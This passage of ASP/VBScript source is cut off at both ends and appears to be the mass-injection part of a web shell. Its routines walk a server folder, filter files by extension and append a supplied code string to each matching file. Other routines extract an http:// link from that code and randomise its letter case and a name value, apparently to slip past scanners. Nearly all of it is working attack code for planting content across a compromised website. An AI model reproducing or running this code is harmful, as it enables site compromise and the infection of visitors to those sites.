| "&replace(substr,"<","[")&" | ")
Call InsertAllFiles (Fpath,addcode,pcfile)
end if
End Function
Function MorfiHttp(Code)
Code=replace(code," ","|")
Code=replace(code,"||","|")
Code=replace(code,"|","|$$|",1,3,0)
Code=replace(code,"|$$|","|",1,2,0)
MorfiHttp=Code
End function
Function FindSubstr(Code)
Fenjie=replace(Code," ","|")
Fenjie=replace(Fenjie,"||","|")
Coders=split(Fenjie,"|")
for i=0 to ubound(coders)
if instr(lcase(coders(i)),"http://")>0 then
Substrs=Coders(i)
end if
next
if Substrs="" or len(Substrs)<10 Then
FindSubstr=Code
Else
FindSubstr=Substrs
End If
End function
Function Roundstring(Code)
dim coders,codelen,codeu,Newcode,Newcoders
coders=split(Code,"|")
for i=0 to ubound(coders)
codelen=len(coders(i))
codeu=mid(coders(i),GetRnd(1,codelen),1)
Newcode=replace(coders(i),codeu,ucase(codeu))
Newcoders=Newcoders&" "&Newcode
next
Roundstring=Newcoders
End function
Function GetRnd(min,max)
Randomize
GetRnd = Int((max - min + 1) * Rnd + min)
End function
Sub InsertAllFiles(Wpath,Wcode,pc)
Server.ScriptTimeout=999999999
if right(Wpath,1)<>"\" then Wpath=Wpath &"\"
Set WFSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = WFSO.GetFolder(Wpath)
Set fc2 = f.files
For Each myfile in fc2
Set FS1 = CreateObject("Scripting.FileSystemObject")
FType1=split(myfile.name,".")
FType2=ubound(FType1)
zfile1=FType1(FType2-1)
if Ftype2>0 then
FType3=LCase(FType1(FType2))
Else
FType3="无"
end if
if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then
select case Styles
case "4"
Call Attribut(Wpath&myfile.name,"Xianshi")
if Instr("|"&zfile&"|","|"&zfile1&"|")<>0 then
if checkbox<>"checked" then
Set tfile=FS1.opentextfile(Wpath&""&myfile.name,8,-2)
if checkbox1<>"checked1" then
tfile.writeline Wcode
else
tfile.writeline Roundstring(replace(Wcode,"$$","name="&Int((9999 - 1000 + 1) * Rnd + 1000)))
end if
echo" |